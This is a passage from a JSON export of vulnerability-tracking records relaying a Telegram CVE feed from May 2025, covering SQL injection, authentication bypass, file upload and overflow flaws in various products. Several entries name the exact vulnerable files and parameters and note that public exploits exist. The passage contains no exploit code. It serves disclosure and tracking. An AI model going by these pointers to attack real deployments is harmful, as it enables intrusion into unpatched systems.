2025, 6:15 a.m. | 1\u00a0hour, 56\u00a0minutes ago \nDescription : The ISOinsight from Netvision has a SQL Injection vulnerability, allowing unauthenticated remote attackers to inject arbitrary SQL commands to read, modify, and delete database contents. \nSeverity: 9.8 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 May 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-05-12T10:15:37.000000Z"}, {"uuid": "bdffb70c-ac3e-486b-a062-9383f4fa3040", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4560", "type": "seen", "source": "https://t.me/cvedetector/25067", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-4560 - Netvision ISOinsight Missing Authentication Bypass Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-4560 \nPublished : May 12, 2025, 7:15 a.m. | 56\u00a0minutes ago \nDescription : The ISOinsight from Netvision has a Missing Authentication vulnerability, allowing unauthenticated remote attackers to access certain system functions. These functions include viewing the administrator list, viewing and editing IP settings, and uploading files. \nSeverity: 6.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 May 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-05-12T10:15:36.000000Z"}, {"uuid": "7dd9fcbc-4e2f-47c0-9cf7-06b78be4ca71", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4561", "type": "seen", "source": "https://t.me/cvedetector/25066", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-4561 - KingFor KFOX Arbitrary File Upload Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-4561 \nPublished : May 12, 2025, 7:15 a.m. | 56\u00a0minutes ago \nDescription : The KFOX from KingFor has an Arbitrary File Upload vulnerability, allowing remote attackers with regular privilege to upload and execute web shell backdoors, thereby enabling arbitrary code execution on the server. \nSeverity: 8.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 May 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-05-12T10:15:35.000000Z"}, {"uuid": "5c1886ab-1d57-471c-a225-f6e725b5e172", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4558", "type": "seen", "source": "https://t.me/cvedetector/25065", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-4558 - WormHole Tech GPM Unauthenticated Password Change Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-4558 \nPublished : May 12, 2025, 4:15 a.m. | 1\u00a0hour, 48\u00a0minutes ago \nDescription : The GPM from WormHole Tech has an Unverified Password Change vulnerability, allowing unauthenticated remote attackers to change any user's password and use the modified password to log into the system. \nSeverity: 9.8 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 May 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-05-12T08:35:13.000000Z"}, {"uuid": "4a6845e5-d784-4cad-9141-9ffadc8efd44", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4555", "type": "seen", "source": "https://t.me/cvedetector/25064", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-4555 - Okcat Parking Management Platform ZONG YU Authentication Bypass Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-4555 \nPublished : May 12, 2025, 3:15 a.m. | 47\u00a0minutes ago \nDescription : The web management interface of Okcat Parking Management Platform from ZONG YU has a Missing Authentication vulnerability, allowing unauthenticated remote attackers to directly access system functions. These functions include opening gates, viewing license plates and parking records, and restarting the system. \nSeverity: 9.8 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 May 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-05-12T06:04:44.000000Z"}, {"uuid": "11810e7c-b11e-47b4-94d4-6beb1a379796", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4557", "type": "seen", "source": "https://t.me/cvedetector/25063", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-4557 - ZONG YU Parking Management System Missing Authentication Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-4557 \nPublished : May 12, 2025, 3:15 a.m. | 47\u00a0minutes ago \nDescription : The specific APIs of Parking Management System from ZONG YU has a Missing Authentication vulnerability, allowing unauthenticated remote attackers to access specific APIs and operate system functions. These functions include opening gates and restarting the system. \nSeverity: 9.1 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 May 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-05-12T06:04:44.000000Z"}, {"uuid": "fd20ae1c-6bd8-4e2a-863e-fa5588a479f8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4541", "type": "seen", "source": "https://t.me/cvedetector/25048", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-4541 - LmxCMS SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-4541 \nPublished : May 11, 2025, 4:15 p.m. | 1\u00a0hour, 24\u00a0minutes ago \nDescription : A vulnerability classified as critical has been found in LmxCMS 1.41. Affected is the function manageZt of the file c\\admin\\ZtAction.class.php of the component POST Request Handler. The manipulation of the argument sortid leads to sql injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way. \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"11 May 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-05-11T20:02:38.000000Z"}, {"uuid": "da22894d-cea6-4759-ab1c-593651c7ff99", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4540", "type": "seen", "source": "https://t.me/cvedetector/25047", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-4540 - MTSoftware C-Lodop Unquoted Search Path Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-4540 \nPublished : May 11, 2025, 4:15 p.m. | 1\u00a0hour, 24\u00a0minutes ago \nDescription : A vulnerability was found in MTSoftware C-Lodop 6.6.1.1. It has been rated as critical. This issue affects some unknown processing of the component CLodopPrintService. The manipulation leads to unquoted search path. The attack needs to be approached locally. The complexity of an attack is rather high. The exploitation is known to be difficult. The exploit has been disclosed to the public and may be used. Upgrading to version 6.6.13 is able to address this issue. It is recommended to upgrade the affected component. \nSeverity: 7.0 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"11 May 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-05-11T20:02:38.000000Z"}, {"uuid": "e65488ed-5e68-4a1e-94b8-153eb75cf51c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4538", "type": "seen", "source": "https://t.me/cvedetector/25046", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-4538 - KKFileView Unrestricted File Upload Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-4538 \nPublished : May 11, 2025, 11:15 a.m. | 2\u00a0hours, 11\u00a0minutes ago \nDescription : A vulnerability was found in kkFileView 4.4.0. It has been classified as critical. This affects an unknown part of the file /fileUpload. The manipulation of the argument File leads to unrestricted upload. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way. \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"11 May 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-05-11T15:51:45.000000Z"}, {"uuid": "2a2a106e-4979-42c1-9ea5-521d062116b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4552", "type": "seen", "source": "https://t.me/cvedetector/25061", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-4552 - ContiNew Admin Remote Unverified Password Change Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-4552 \nPublished : May 12, 2025, 12:15 a.m. | 1\u00a0hour, 37\u00a0minutes ago \nDescription : A vulnerability has been found in ContiNew Admin up to 3.6.0 and classified as problematic. Affected by this vulnerability is an unknown functionality of the file /dev-api/system/user/1/password. The manipulation leads to unverified password change. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way. \nSeverity: 5.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 May 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-05-12T04:24:24.000000Z"}, {"uuid": "fda10011-9db2-4d38-8a87-37e66f92c7ab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4554", "type": "seen", "source": "https://t.me/cvedetector/25060", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-4554 - PHPGurukul Apartment Visitors Management System SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-4554 \nPublished : May 12, 2025, 1:15 a.m. | 37\u00a0minutes ago \nDescription : A vulnerability was found in PHPGurukul Apartment Visitors Management System 1.0. It has been classified as critical. This affects an unknown part of the file /admin/bwdates-passreports-details.php. The manipulation of the argument fromdate/todate leads to sql injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 7.3 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 May 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-05-12T04:24:24.000000Z"}, {"uuid": "9a0bd346-8ee7-4a59-b322-affb99fcdb89", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4553", "type": "seen", "source": "https://t.me/cvedetector/25059", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-4553 - PHPGurukul Apartment Visitors Management System SQL Injection\", \n  \"Content\": \"CVE ID : CVE-2025-4553 \nPublished : May 12, 2025, 1:15 a.m. | 37\u00a0minutes ago \nDescription : A vulnerability was found in PHPGurukul Apartment Visitors Management System 1.0 and classified as critical. Affected by this issue is some unknown functionality of the file /admin/bwdates-reports-details.php. The manipulation of the argument fromdate/todate leads to sql injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 7.3 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 May 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-05-12T04:24:23.000000Z"}, {"uuid": "edb693fc-6868-4338-8ba2-4ab52376816c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4548", "type": "seen", "source": "https://t.me/cvedetector/25058", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-4548 - Campcodes Online Food Ordering System SQL Injection\", \n  \"Content\": \"CVE ID : CVE-2025-4548 \nPublished : May 11, 2025, 10:15 p.m. | 1\u00a0hour, 32\u00a0minutes ago \nDescription : A vulnerability classified as critical has been found in Campcodes Online Food Ordering System 1.0. This affects an unknown part of the file /routers/router.php. The manipulation of the argument Username leads to sql injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 7.3 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 May 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-05-12T01:53:54.000000Z"}, {"uuid": "3834d2d6-3fda-4da4-9159-ae2a3931eb47", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4551", "type": "seen", "source": "https://t.me/cvedetector/25056", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-4551 - ContiNew Admin Cross Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-4551 \nPublished : May 11, 2025, 11:15 p.m. | 31\u00a0minutes ago \nDescription : A vulnerability, which was classified as problematic, was found in ContiNew Admin up to 3.6.0. Affected is an unknown function of the file /dev-api/common/file. The manipulation of the argument File leads to cross site scripting. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way. \nSeverity: 3.5 | LOW \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 May 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-05-12T01:53:53.000000Z"}, {"uuid": "f2c7218d-417d-4997-b9e4-7d23d658c272", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4529", "type": "seen", "source": "https://t.me/cvedetector/25033", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-4529 - Seeyon Zhiyuan OA Web Application System Path Traversal Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-4529 \nPublished : May 11, 2025, 4:15 a.m. | 1\u00a0hour ago \nDescription : A vulnerability was found in Seeyon Zhiyuan OA Web Application System 8.1 SP2. It has been classified as problematic. Affected is the function Download of the file seeyon\\opt\\Seeyon\\A8\\ApacheJetspeed\\webapps\\seeyon\\WEB-INF\\lib\\seeyon-apps-m3.jar!\\com\\seeyon\\apps\\m3\\core\\controller\\M3CoreController.class of the component ZIP File Handler. The manipulation of the argument Name leads to path traversal. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"11 May 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-05-11T07:30:05.000000Z"}, {"uuid": "82901b88-659b-4ef8-b59d-6c8f6a186df8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4525", "type": "seen", "source": "https://t.me/cvedetector/25031", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-4525 - Discord WINSTA.dll Uncontrolled Search Path Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-4525 \nPublished : May 10, 2025, 11:15 p.m. | 1\u00a0hour, 48\u00a0minutes ago \nDescription : A vulnerability, which was classified as critical, has been found in Discord 1.0.9188 on Windows. Affected by this issue is some unknown functionality in the library WINSTA.dll. The manipulation leads to uncontrolled search path. The attack needs to be approached locally. The complexity of an attack is rather high. The exploitation is known to be difficult. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way. \nSeverity: 7.0 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"11 May 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-05-11T03:19:22.000000Z"}, {"uuid": "87e42851-27a4-4da3-8ef6-a7eb8e188c95", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4515", "type": "seen", "source": "https://t.me/cvedetector/25030", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-4515 - Zylon PrivateGPT Cross-Domain Policy Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-4515 \nPublished : May 10, 2025, 9:15 p.m. | 1\u00a0hour, 39\u00a0minutes ago \nDescription : A vulnerability, which was classified as problematic, was found in Zylon PrivateGPT up to 0.6.2. This affects an unknown part of the file settings.yaml. The manipulation of the argument allow_origins leads to permissive cross-domain policy with untrusted domains. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"11 May 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-05-11T01:39:07.000000Z"}, {"uuid": "aed945ca-0da4-4df3-8fe3-80d0556e2a89", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4537", "type": "seen", "source": "https://t.me/cvedetector/25043", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-4537 - RuoYi-Vue Cleartext Storage of Sensitive Information in Cookie\", \n  \"Content\": \"CVE ID : CVE-2025-4537 \nPublished : May 11, 2025, 10:15 a.m. | 1\u00a0hour, 9\u00a0minutes ago \nDescription : A vulnerability was found in yangzongzhuan RuoYi-Vue up to 3.8.9 and classified as problematic. Affected by this issue is some unknown functionality of the file ruoyi-ui/jsencrypt.js and ruoyi-ui/login.vue of the component Password Handler. The manipulation leads to cleartext storage of sensitive information in a cookie. The attack may be launched remotely. The complexity of an attack is rather high. The exploitation is known to be difficult. The exploit has been disclosed to the public and may be used. \nSeverity: 3.1 | LOW \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"11 May 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-05-11T14:11:26.000000Z"}, {"uuid": "a54bbb93-e5af-4225-a58e-a233728d3e0c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45787", "type": "seen", "source": "https://t.me/cvedetector/24871", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-45787 - Totolink A3100R Buffer Overflow Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-45787 \nPublished : May 8, 2025, 8:15 p.m. | 1\u00a0hour, 18\u00a0minutes ago \nDescription : TOTOLINK A3100R V5.9c.1527 is vulnerable to Buffer Overflow viathe comment parameter in setIpPortFilterRules. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"08 May 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-05-09T00:19:06.000000Z"}, {"uuid": "6000ccc6-ae2e-41f9-aa79-3965fddbf569", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45797", "type": "seen", "source": "https://t.me/cvedetector/24864", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-45797 - TOTOlink A950RG Buffer Overflow Vulnerability in NoticeUrl Parameter\", \n  \"Content\": \"CVE ID : CVE-2025-45797 \nPublished : May 8, 2025, 8:15 p.m. | 1\u00a0hour, 18\u00a0minutes ago \nDescription : TOTOlink A950RG V4.1.2cu.5204_B20210112 contains a buffer overflow vulnerability. The vulnerability arises from the improper input validation of the NoticeUrl parameter in the setNoticeCfg interface of /lib/cste_modules/system.so. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"08 May 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-05-09T00:18:58.000000Z"}, {"uuid": "911cb9fa-ecd6-4721-a450-dc191371d873", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4533", "type": "seen", "source": "https://t.me/cvedetector/25042", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-4533 - JeecgBoot Document Library Upload Remote Resource Consumption Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-4533 \nPublished : May 11, 2025, 7:15 a.m. | 2\u00a0hours, 6\u00a0minutes ago \nDescription : A vulnerability classified as problematic was found in JeecgBoot up to 3.8.0. This vulnerability affects the function unzipFile of the file /jeecg-boot/airag/knowledge/doc/import/zip of the component Document Library Upload. The manipulation of the argument File leads to resource consumption. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 2.7 | LOW \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"11 May 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-05-11T11:40:55.000000Z"}, {"uuid": "a69b014e-f53c-4245-9e1c-88f519573214", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4534", "type": "seen", "source": "https://t.me/cvedetector/25041", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-4534 - SunGrow Logger1000 Remote Weak Password Requirements Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-4534 \nPublished : May 11, 2025, 8:15 a.m. | 1\u00a0hour, 6\u00a0minutes ago \nDescription : A vulnerability, which was classified as problematic, has been found in SunGrow Logger1000 01_A. This issue affects some unknown processing. The manipulation leads to weak password requirements. The attack may be initiated remotely. The complexity of an attack is rather high. The exploitation is known to be difficult. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way. \nSeverity: 3.7 | LOW \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"11 May 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-05-11T11:40:54.000000Z"}, {"uuid": "018259b7-b1b3-403d-ab33-c9eea3fd2df5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4507", "type": "seen", "source": "https://t.me/cvedetector/25021", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-4507 - Campcodes Online Food Ordering System SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-4507 \nPublished : May 10, 2025, 5:15 p.m. | 1\u00a0hour, 38\u00a0minutes ago \nDescription : A vulnerability classified as critical has been found in Campcodes Online Food Ordering System 1.0. This affects an unknown part of the file /routers/add-item.php. The manipulation of the argument price leads to sql injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 7.3 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"10 May 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-05-10T21:28:14.000000Z"}, {"uuid": "f822dbec-8d48-480e-8b5f-1b7fc0cb7bd9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45513", "type": "seen", "source": "https://t.me/cvedetector/24967", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-45513 - Tenda FH451 Stack Overflow Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-45513 \nPublished : May 9, 2025, 4:15 p.m. | 1\u00a0hour, 59\u00a0minutes ago \nDescription : Tenda FH451 V1.0.0.9 has a stack overflow vulnerability in the function.P2pListFilter. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 May 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-05-09T20:23:34.000000Z"}, {"uuid": "3c8722f9-21f5-42d7-801f-c81ea6e68b9d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4510", "type": "seen", "source": "https://t.me/cvedetector/25018", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-4510 - Changjietong UFIDA CRM SQL Injection\", \n  \"Content\": \"CVE ID : CVE-2025-4510 \nPublished : May 10, 2025, 6:15 p.m. | 39\u00a0minutes ago \nDescription : A vulnerability was found in Changjietong UFIDA CRM 1.0. It has been declared as critical. This vulnerability affects unknown code of the file /optnty/optntyday.php. The manipulation of the argument gblOrgID leads to sql injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way. \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"10 May 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-05-10T21:28:12.000000Z"}, {"uuid": "1389b1fa-ac54-46c7-818c-5a1cb776b046", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4504", "type": "seen", "source": "https://t.me/cvedetector/25016", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-4504 - SourceCodester Online College Library System SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-4504 \nPublished : May 10, 2025, 3:15 p.m. | 1\u00a0hour, 33\u00a0minutes ago \nDescription : A vulnerability was found in SourceCodester Online College Library System 1.0. It has been classified as critical. Affected is an unknown function of the file /index.php. The manipulation of the argument Category leads to sql injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 7.3 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"10 May 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-05-10T18:57:47.000000Z"}, {"uuid": "ec1eefbc-c175-4ae1-ba98-d9868f737e82", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4505", "type": "seen", "source": "https://t.me/cvedetector/25015", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-4505 - \"PHPGurukul Apartment Visitors Management System SQL Injection Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2025-4505 \nPublished : May 10, 2025, 4:15 p.m. | 34\u00a0minutes ago \nDescription : A vulnerability was found in PHPGurukul Apartment Visitors Management System 1.0. It has been declared as critical. Affected by this vulnerability is an unknown functionality of the file /category.php. The manipulation of the argument categoryname leads to sql injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 7.3 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and 